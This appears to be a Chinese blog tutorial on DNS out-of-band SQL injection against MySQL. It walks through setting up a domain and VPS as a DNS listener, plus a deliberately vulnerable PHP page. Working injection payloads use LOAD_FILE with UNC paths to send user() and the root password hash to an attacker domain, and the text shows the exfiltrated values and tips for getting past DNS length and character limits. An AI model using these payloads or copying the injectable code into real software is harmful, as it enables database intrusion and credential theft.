突破延遲注入和盲注速度限制,利用dns注入快速獲取資料

NO IMAGE

dns注入就是通過資料庫對域名發起dns解析請求來達到快速獲取資料目的。

原理:

1

發個圖先自己體會下

通常在存在一個沒有資料回顯的注入點進行注入時,我們需要使用延遲注入或者盲注(布林注入),這種注入速度非常慢,需要一個一字元猜解,而且很容易搞掛網站,這時候我們怎麼快速獲取資料呢?下面我就來詳細講解下mysql的dns注入操作步驟。

要準備的東西:

域名2個,vps一臺(裝好sqlmap)

沒有上面的東西可以用cloudeye,這裡有個免費的http://ceye.io/

首先來到我們的第一個域名md5crack.cn修改域名dns伺服器

3

 

這裡我把域名dns改成了我第二個域名test.itgou.club,然後把test.itgou.club域名解析到自己的vps的ip上。

然後等待dns生效。

然後本地搭建個注入點(inject.php)進行測試,程式碼如下:

1 <?php
2 $link

= mysql_connect(
"localhost","root","root");
3 mysql_select_db("mysql",$link);
4 $sql

=
"select
password from user where user='{$_GET['user']}'"
;
5 echo

$sql
;
6 mysql_query($sql);
7 ?>

可以看到這個注入點除了延遲注入,沒其他辦法獲取資料了,但是我們有了dns注入就可以不用延遲注入了。

然後來ssh登入到我們的vps,進入sqlmap的sqlmap/lib/request/目錄下

4

這裡有個dns.py,這個是幹什麼用的呢,這個是用來監聽53埠(dns埠)的一個指令碼,用他來獲取資料。

然後我們執行這個指令碼,監聽53埠

run

訪問注入點:http://localhost/inject.php?user=root

i1

 

開始注入,首先禁用本地dns快取服務:

cache

提交

http://localhost/inject.php?user=123'
and if((SELECT LOAD_FILE(CONCAT('
\\\\',(SELECT
hex(user())),'
.md5crack.cn\\foobar'))),1,1)%23

i2

成功接收到了726F6F74406C6F63616C686F7374,用小葵轉換工具轉換一下:

decode

為啥要進行hex(user())? 你覺得 [email protected]這樣能解析嗎,所以我們需要進行hex編碼一下。

接下來獲取賬號密碼,提交:

http://localhost/inject.php?user=123'
and if((SELECT LOAD_FILE(CONCAT('
\\\\',(SELECT
concat(user,'
_',mid(password,2,41))
from user where user='
root'
limit 1),'
.md5crack.cn\\foobar'))),1,1)%23

i3

 

成功獲取到:root_81F5E21E35407D884A6CD4A731AEBFB6AF209E1B

需要注意的兩點:

1.域名字首長度限制在63個字元,解決辦法是用mid()函式來獲取。

2.域名字首不支援一些特殊字元,如*,解決辦法是用hex()或者其他加密函式,獲取到資料後再解密。

sqlmap也提供了這種注入方法,引數:–dns-domain

參考文章:http://drops.wooyun.org/tips/5283

 

文 / admin
1 COMMENTS
  1. 2016/05/12

    好書推薦

    進來看看、支援一下